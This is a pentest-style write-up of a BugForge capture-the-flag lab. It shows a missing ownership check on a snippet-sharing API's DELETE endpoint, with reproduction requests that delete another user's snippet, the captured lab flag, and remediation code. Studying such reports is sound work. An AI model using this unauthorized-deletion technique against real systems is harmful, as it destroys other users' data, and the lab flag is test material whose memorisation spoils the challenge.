BugForge — 2026.04.23

CopyPasta: Authorization Bypass on DELETE Snippet

BugForge Broken Access Control easy

Part 1: Pentest Report

Executive Summary

CopyPasta is a BugForge lab modeled as a snippet sharing application: a React single page app talking to an Express API over JWT bearer auth. The application surface covers snippet CRUD, public discovery, share links, comments, likes, and profile/password updates. Testing focused on the snippet CRUD surface, where the UI enforces ownership only in the browser.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Missing ownership check on DELETE snippet High 8.1 CWE-285, CWE-639 DELETE /api/snippets/:id

The flag bearing finding is an authorization bypass on DELETE /api/snippets/:id. The corresponding PUT on the same route enforces ownership and returns 403 Not authorized to edit this snippet to non owners, but the DELETE handler accepts any authenticated user’s JWT and deletes the target record regardless of who owns it. The lab returns the flag as an extra top level flag key on the 200 response.


Objective

Solve the BugForge CopyPasta lab and capture the flag by identifying a vulnerability in the application.


Scope / Initial Access

# Target Application
URL: https://lab-1776900146286-n581lg.labs-app.bugforge.io

# Auth details
Self service registration at POST /api/register with
  {username, email, password, full_name}.
Login at POST /api/login returns an HS256 JWT with
  payload {id, username, iat}. All API calls require
  Authorization: Bearer <jwt>.
Registered account: haxor (id=5) / password "password".

The JWT carries both id and username. No refresh or rotation behavior was observed within the test window.


Reconnaissance: Reading the JS Bundle

The app is a Create React App style SPA whose runtime is a single minified bundle at /static/js/main.a0518d46.js (516 KB). Searching the bundle for '/api/' surfaced the full API shape without needing to trigger every UI path. Observations that shaped the test plan:

  1. The frontend fetches the current user’s snippets via GET /api/snippets, then looks up the target snippet in that local array when the user clicks edit or delete. Ownership is implicit in the UI state, not enforced on the request.
  2. PUT /api/snippets/:id and DELETE /api/snippets/:id are emitted from the same React component and share the same ID source. Both surfaced as candidate targets for an authorization bypass.
  3. PUT /api/profile and PUT /api/profile/password take no id or username in path or body, so the server must pick the target user from the JWT. This suggests the backend can correlate JWT identity with resource ownership when it wants to.
  4. GET /api/profile/:username returns the user record plus a snippets array, a candidate path for leaking other users’ private snippets or share codes.
  5. GET /api/snippets/share/:uuid accepts a UUID share code. Relevant only if either unauthenticated access works or if the UUID can be obtained for a private snippet.

Application Architecture

Component Detail
Backend Express (X-Powered-By: Express) with Access-Control-Allow-Origin: *
Frontend React SPA with Material UI, single bundle main.a0518d46.js
Auth HS256 JWT in Authorization: Bearer header; payload {id, username, iat}
Database SQLite style timestamp format (YYYY-MM-DD HH:MM:SS)

API Surface (observed)

Endpoint Method Auth Notes
/api/register POST No {username, email, password, full_name}
/api/login POST No {username, password} returns JWT
/api/verify-token GET Yes Returns {user: {...}}
/api/snippets GET Yes Current user’s snippets
/api/snippets POST Yes Create snippet
/api/snippets/:id PUT Yes Edit snippet, enforces ownership
/api/snippets/:id DELETE Yes Delete snippet, ownership not enforced
/api/snippets/public GET Yes All public snippets
/api/snippets/share/:uuid GET Yes Fetch snippet by share code
/api/profile/:username GET Yes User profile + snippets array
/api/profile PUT Yes Update own {full_name, bio, email}
/api/profile/password PUT Yes Update own password

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
webdev 4 user
haxor 5 user (test account)

Attack Chain Visualization

┌──────────────┐      ┌──────────────────────┐      ┌──────────────────────┐      ┌──────────────────────┐
│  Register    │      │ PUT /snippets/1      │      │ DELETE /snippets/7   │      │ 200 OK with extra    │
│  haxor       │ ───▶ │ another user's data  │ ───▶ │ admin's snippet      │ ───▶ │ "flag" key in body   │
│  JWT id=5    │      │ 403 not authorized   │      │ 200 deleted          │      │ bug{...}             │
└──────────────┘      └──────────────────────┘      └──────────────────────┘      └──────────────────────┘

Findings

F1: Missing ownership check on DELETE snippet

Severity: High CVSS v3.1: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CWE: CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User Controlled Key) Endpoint: DELETE /api/snippets/:id Authentication required: Yes (any registered user)

Description

Two observed behaviors on the same route diverge:

  1. PUT /api/snippets/:id rejects requests where the caller does not own the target snippet with 403 {"error":"Not authorized to edit this snippet"}.
  2. DELETE /api/snippets/:id accepts the same caller against the same target and returns 200 with a success message. The target record is removed from the database.

The two handlers share the same route pattern but do not share the same ownership enforcement, so a non owner can destroy any snippet they can address by ID. Snippet IDs are sequential integers and are trivially enumerable from GET /api/snippets/public.

Impact

Any authenticated user can permanently delete any snippet, including admin’s, resulting in data loss across the application.

Reproduction

Step 1: Register a normal account and obtain a JWT

POST /api/register HTTP/1.1
Host: lab-1776900146286-n581lg.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"password","full_name":"Hax Or"}

Response: 201 with a JWT whose payload decodes to {"id":5,"username":"haxor","iat":...}. Used as Authorization: Bearer <jwt> on all subsequent requests.

Step 2: Confirm PUT enforces ownership

PUT /api/snippets/1 HTTP/1.1
Host: lab-1776900146286-n581lg.labs-app.bugforge.io
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{"title":"HAXOR_TEST_ONLY","code":"probe","language":"javascript","description":"","is_public":false}

Response: 403 {"error":"Not authorized to edit this snippet"}. Snippet id=1 belongs to coder123, so the server is checking ownership on this handler.

Step 3: Send DELETE on another user’s snippet

Target: snippet id=7, owned by admin (observed via GET /api/profile/admin).

DELETE /api/snippets/7 HTTP/1.1
Host: lab-1776900146286-n581lg.labs-app.bugforge.io
Authorization: Bearer <haxor_jwt>

Response:

{
  "message": "Snippet deleted successfully",
  "flag": "bug{1iiDTcFvZr2vUjw9fgDQ7bUmETblPlkF}"
}

The server returns 200, removes the record, and includes the flag as an extra top level flag key on the response body. Subsequent GET /api/snippets/public confirms the record is gone.

Remediation

The DELETE handler does not perform the ownership check that the PUT handler performs. The observable fix is to gate the DELETE with the same check.

Fix 1: Add the ownership check to the DELETE handler

// BEFORE (vulnerable)
app.delete('/api/snippets/:id', requireAuth, async (req, res) => {
  await db.run('DELETE FROM snippets WHERE id = ?', req.params.id);
  return res.json({ message: 'Snippet deleted successfully' });
});

// AFTER (enforces ownership)
app.delete('/api/snippets/:id', requireAuth, async (req, res) => {
  const snippet = await db.get('SELECT user_id FROM snippets WHERE id = ?', req.params.id);
  if (!snippet) {
    return res.status(404).json({ error: 'Snippet not found' });
  }
  if (snippet.user_id !== req.user.id) {
    return res.status(403).json({ error: 'Not authorized to delete this snippet' });
  }
  await db.run('DELETE FROM snippets WHERE id = ?', req.params.id);
  return res.json({ message: 'Snippet deleted successfully' });
});

Fix 2: Centralize the ownership check so handlers cannot drift

// Shared ownership middleware
async function requireSnippetOwner(req, res, next) {
  const snippet = await db.get('SELECT * FROM snippets WHERE id = ?', req.params.id);
  if (!snippet) {
    return res.status(404).json({ error: 'Snippet not found' });
  }
  if (snippet.user_id !== req.user.id) {
    return res.status(403).json({ error: 'Not authorized' });
  }
  req.snippet = snippet;
  next();
}

app.put('/api/snippets/:id',    requireAuth, requireSnippetOwner, handleSnippetEdit);
app.delete('/api/snippets/:id', requireAuth, requireSnippetOwner, handleSnippetDelete);

Additional recommendations:

  • Add an end to end test that exercises each destructive verb (PUT, DELETE, PATCH) as a non owner and asserts 403. Verb specific regressions are invisible to happy path tests.
  • Audit the rest of the API for the same pattern. Any route that has multiple verbs where one verb has an ownership check is worth inspecting.
  • Do not return tripwire style keys from production responses. If telemetry needs to observe unauthorized writes, use a server side log, not a response body key.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The DELETE handler does not verify that the caller owns the target snippet. Authorization is enforced on one verb of the route and absent on another verb of the same route.

Tools Used

Tool Purpose
Caido HTTP intercept and replay for crafted PUT/DELETE requests with an alternate JWT
Browser DevTools Read the minified JS bundle to map the API surface and the client side ownership model

References

  • CWE-285: Improper Authorization: https://cwe.mitre.org/data/definitions/285.html
  • CWE-639: Authorization Bypass Through User Controlled Key: https://cwe.mitre.org/data/definitions/639.html
  • OWASP Top 10 A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/

Part 2: Notes / Knowledge

Key Learnings

  • Test every verb on a high signal endpoint. When the source or UI flags a route as interesting, cover all of its verbs (GET / POST / PUT / PATCH / DELETE) as a non owner. There are many reasons a check may be present on one verb and missing on another; the cheap way to find out is to send the request. On CopyPasta, the JS bundle surfaced PUT /api/snippets/:id and DELETE /api/snippets/:id as the same client component’s edit and delete actions; PUT returned 403, DELETE returned 200 plus the flag.

Failed Approaches

Approach Result Why It Failed
GET /api/profile/admin to leak private snippets or share codes 200; admin’s only snippet is public and already in /api/snippets/public Admin has no private snippets in this lab instance
GET /api/snippets/share/<uuid> without Authorization header 401 Access token required Share endpoint is behind the same auth requirement as the rest of the API
PUT /api/snippets/1 with haxor JWT against coder123’s snippet 403 Not authorized to edit this snippet PUT handler enforces ownership

Tags: #idor #access-control #broken-authorization #rest-api #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-23

#idor #access-control #broken-authorization #rest-api #bugforge #webapp